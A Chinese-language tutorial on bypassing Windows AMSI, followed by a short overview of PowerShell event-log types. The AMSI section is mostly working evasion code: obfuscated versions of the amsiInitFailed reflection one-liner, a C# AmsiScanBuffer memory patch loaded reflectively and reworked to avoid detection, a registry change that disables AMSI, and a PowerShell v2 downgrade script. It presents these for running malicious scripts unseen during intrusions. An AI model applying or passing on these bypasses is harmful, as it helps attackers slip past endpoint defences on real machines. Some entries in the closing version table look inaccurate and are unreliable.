0x00 前言
0x01 AMSI淺析
1、什么是AMSI?
AMSI(Antimalware Scan Interface),即反惡意軟件掃描接口,在windows 10和 windows server 2016上默認安裝並啟用。顧名思義,他的工作就是掃描、檢測和阻止。windows 10和windows server2016中AMSI默認殺軟就是Windows Defender。
2、AMSI是如何運作的?
服務和應用程序可以通過AMSI來與系統中已安裝的反病毒軟件進行通信,也就是Windows Defender,AMSI采用了hook方法進行檢測,詳細的工作原理如下:
- 創建PowerShell進程時,AMSI.DLL將從磁盤加載到其內存地址空間。
- 在AMSI.DLL中,有一個名為AmsiScanBuffer()的函數,是用來掃描腳本內容的函數。
- 在PowerShell中執行命令時,任何內容都將首先發送到AmsiScanBuffer(),然后再執行。
- 隨后,AmsiScanBuffer()將Windows Defender檢查,以確定是否創建了任何簽名。
- 如果該內容被認為是惡意的,它將被阻止運行。
在Windows 10上,實現AMSI的所有組件如下:
- 用戶帳戶控制,或UAC(EXE、COM、MSI或ActiveX時的權限提升)
- Powershell(腳本、交互式使用和動態代碼執行)
- Windows腳本主機(wscript.exe和cscript.exe)
- JavaScript和VBScript
- Office VBA宏
AMSI的整體架構如圖所示:
0x02 繞過AMSI檢測
注:AMSI使用“基於字符串的”檢測措施來確定PowerShell代碼是否惡意。
1、繞過字符串檢測
先查看一個示例:
如圖,"amsiutils" 這個詞被禁止了,AMSI認為這是一個惡意攻擊。
那我們如何繞過字符串檢測呢,最簡單的一個方法就是使用編碼或者分割成塊,然后拼接來繞過
下面列出三鍾方法
(1)直接把單詞分成兩塊或者多塊然后進行拼接,達到繞過的效果,但在大多數情況下可能會失敗
(2)進行base64編碼直接繞過AMSI,在某些情況下,base64一下直接繞過去了
(3)使用XOR來繞過AMSI,並在運行時將字符串解碼回內存。這比上面的base64方法更有效
當然還有其他編碼方式可以自行嘗試,上面這幾種方法都是為了繞過"字符串檢測",但是實際過程中,我們需要執行我們的腳本,也就腳本被AMSI阻止,我們通過一個實例來演示下繞過AMSI。
最早的繞過AMSI的方法是16年一個老外發布的,命令如下
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
我們把它放到powershell中運行,直接被AMSI阻止
因此,我們嘗試上面方法,分割重組來實現一個簡單的AMSI 繞過
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') $b = $a.GetField('amsiInitFailed','NonPublic,Static') $b.SetValue($null,$true)
然后我們嘗試單行執行此命令,我們可以看到前兩行被AMSI阻止
所以,我們重新調整一下我們的代碼,然后我們就繞過了AMSI,加載了我們的腳本
$a = 'System.Management.Automation.A';$b = 'ms';$c = 'Utils' $d = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$c)) $e = $d.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static') $e.SetValue($null,$true)
當然也可以使用base64編碼,或者使用hex編碼,效果都是一樣的
base64編碼
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
hex編碼
[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true)
2、通過Memory Patching繞過AMSI
這種方法並沒有實際的繞過,而是禁用了AMSI,從powershell3.0開始,我們要完全繞過AMSI並執行任意powershell腳本的話,就需要完全禁用它
這是原作者的代碼,把如下代碼編譯成C#的DLL,使用反射加載技術
using System; using System.Runtime.InteropServices; namespace Bypass { public class AMSI { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)] static extern void MoveMemory(IntPtr dest, IntPtr src, int size); public static int Disable() { IntPtr TargetDLL = LoadLibrary("amsi.dll"); if (TargetDLL == IntPtr.Zero) { Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer."); return 1; } IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer"); if (AmsiScanBufferPtr == IntPtr.Zero) { Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer"); return 1; } UIntPtr dwSize = (UIntPtr)5; uint Zero = 0; if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero)) { Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!"); return 1; } Byte[] Patch = { 0x31, 0xff, 0x90 }; IntPtr unmanagedPointer = Marshal.AllocHGlobal(3); Marshal.Copy(Patch, 0, unmanagedPointer, 3); MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3); Console.WriteLine("AmsiScanBuffer patch has been applied."); return 0; } } }
命名為"source.cs"
然后我們使用powershell來編譯它,在同目錄下打開powershell,運行以下命令編譯
Add-Type -TypeDefinition ([IO.File]::ReadAllText("$pwd\Source.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "Bypass-AMSI.dll"
編譯后運行,直接被Defender給秒了(這里我把文件還原了一下,給大家看下效果圖)
然后我們把dll文件進行base64編碼****(Kali下,直接使用base64 -i 文件名,就可以得到base64編碼)****,然后使用powershell進行武器化,反射加載,也是直接被秒
unction Bypass-AMSI
{
if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) { [Reflection.Assembly]::Load([Convert]::FromBase64String("你的base64編碼")) | Out-Null Write-Output "DLL has been reflected"; } [Bypass.AMSI]::Disable() }
如圖,直接被秒
通過上面的知識,我們知道AMSI是基於字符串的檢測**,那我們就用工具去定位一下查殺點在哪。**
工具地址:https://github.com/RythmStick/AMSITrigger
如上圖所示,我們定位出查殺點是****"Bypass-AMSI、Bypass.AMSI、和一些base64中的一些字段"****。下面,我們嘗試對我們的腳本進行一個免殺處理,我們直接base64編碼轉換成byte數組
$string = '' $a = [System.Convert]::FromBase64String('你的base64編碼') $a | foreach {$string = $string + $_.ToString()+','} $string
然后修改我們的源代碼,加載數組
function Bypass-AMSI { if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) { [Reflection.Assembly]::Load([byte[]]@(這里是上面得到的byte數組)) | Out-Null Write-Output "DLL has been reflected"; } [Bypass.AMSI]::Disable(); }
然后我們再去檢測一下,這次只剩下****"Bypass-AMSI、Bypass.AMSI"****關鍵字
這里,如果我們直接修改這幾個關鍵字會導致腳本運行直接報錯,因為這個是運用的反射方法,不了解反射的小伙伴,去Google一下,這里我們直接修改前面的source.cs中的代碼,只需要修改namespace、public class
即可,如下圖
然后編譯成DLL,進行base64編碼,然后轉換byte數組,然后修改ps1腳本,修改完的如下:
測試下效果,已經繞過AMSI
3、禁用AMSI
修改注冊表,將HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable的值置為0
當然關閉Windows Defender 也可以使系統自帶的AMSI檢測無效化,這里注意當前權限。
然后直接執行命令和加載腳本都不會攔截
4、powershell版本降級繞過
powershell v2 版本不支持AMSI,我們可以將目標主機中的powershell降級至powershell v2版本。
代碼如下:
if ($ShowOnly -eq $True) { Write-Output "If .Net version 2.0.50727 is installed, run powershell -v 2 and run scripts from the new PowerShell process." } else { Write-Verbose "Checking if .Net version 2.0.50727 is installed." $versions = Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}'} | Select -ExpandProperty Version if($versions -match "2.0.50727") { Write-Verbose ".Net version 2.0.50727 found." Write-Output "Executing the bypass." powershell.exe -version 2 } else { Write-Verbose ".Net version 2.0.50727 not found. Can't start PowerShell v2." } }
保存為 V2.ps1,運行即可繞過AMSI
5、一鍵Bypass AMSI
這里使用的是一個在線平台,平台可以直接生成powershell代碼,這些代碼可以直接破壞或者禁用當前進程的AMSI,每次生成的代碼都是被混淆的,所以完全不擔心會被檢測到。
效果如下圖:
6、其他一些方法
利用反射將內存中AmsiScanBuffer方法的檢測長度置為0
腳本地址:https://gist.github.com/shantanu561993/6483e524dc225a188de04465c8512909
直接本地或者遠程加載即可繞過AMSI
Nishang也自帶了bypassamsi的腳本,自行做免殺,避免上傳被秒
地址:https://github.com/samratashok/nishang/blob/master/Bypass/Invoke-AmsiBypass.ps1
其他一些過時的方法,我就不加了
0x03 powershell日志淺析
上面咱們說完了怎么繞過AMSI,下面咱們來說下powershell日志。
默認情況下,這四種日志功能默認是不開啟的,但是在實際滲透中,系統肯定是默認開啟日志記錄的
關於日志的查看方法在事件查看器中**,下面我們來分別看下這四種**日志類型
1、模塊(module)日志
事件ID:4103
路徑:Microsoft > Windows > PowerShell/Operational
作用:可以為 powershell 模塊啟動日志記錄
使用Get-Module -ListAvailable
可以獲取可用的模塊名
2、管道執行(pipeline execute)日志
事件ID:800
路徑:事件管理器 > 應用程序和服務日志 > Windows PowerShell
作用:記錄 powershell 管道執行過程的事件簡介
3、腳本塊(script block)日志
事件id:4104
路徑:Microsoft > Windows > PowerShell/Operational
作用:powershell 講記錄命令、腳本塊、函數和腳本的處理
4、腳本轉換(transcripttion)日志
可以將 powershell 命令的輸入和輸出捕獲到文本中
四種日志記錄內容的對比
日志詳情 | 模塊日志 | 管道執行日志 | 腳本塊日志 | 腳本轉換日志 |
---|---|---|---|---|
執行命令 | 有 | 有 | 有(包括腳本內容) | 有 |
上下文信息 | 有 | 有 | 無 | 有 |
參數綁定詳情 | 有 | 有 | 無 | 無 |
解碼/解混淆代碼 | 無 | 無 | 有 | 有 |
命令輸出 | 無 | 無 | 無 | 有 |
powershell 每個版本對日志功能的對比
日志類型 | V2版本 | V3版本 | V4版本 | V5版本 |
---|---|---|---|---|
模塊日志 | 無 | 支持 | 支持(V3增強) | 支持 |
管道執行日志 | 支持 | 支持 | 支持 | 支持 |
腳本塊日志 | 無 | 無 | 支持 | 支持(自動記錄惡意命令) |
腳本轉換日志 | 無 | 無 | 支持 | 支持(V4增強) |
不同操作系統默認的powershell版本
操作系統 | 默認Powershell版本 | 可支持Powershell版本 |
---|---|---|
Windows Server 2008(SP2) | 2.0 | 3.0 |
Windows Server 2008 R2(SP1) | 5.1 | 5.1 |
Windows Server 2012 | 3.0 | 5.1 |
Windows Server 2012(R2) | 4.0 | 5.1 |
Windows 7(SP1) | 5.1 | 5.1 |
Windows 8 | 3.0 | 5.1 |
Windows 8.1 | 4.0 | 5.1 |
Windows 10 | 5.0 | 5.1# |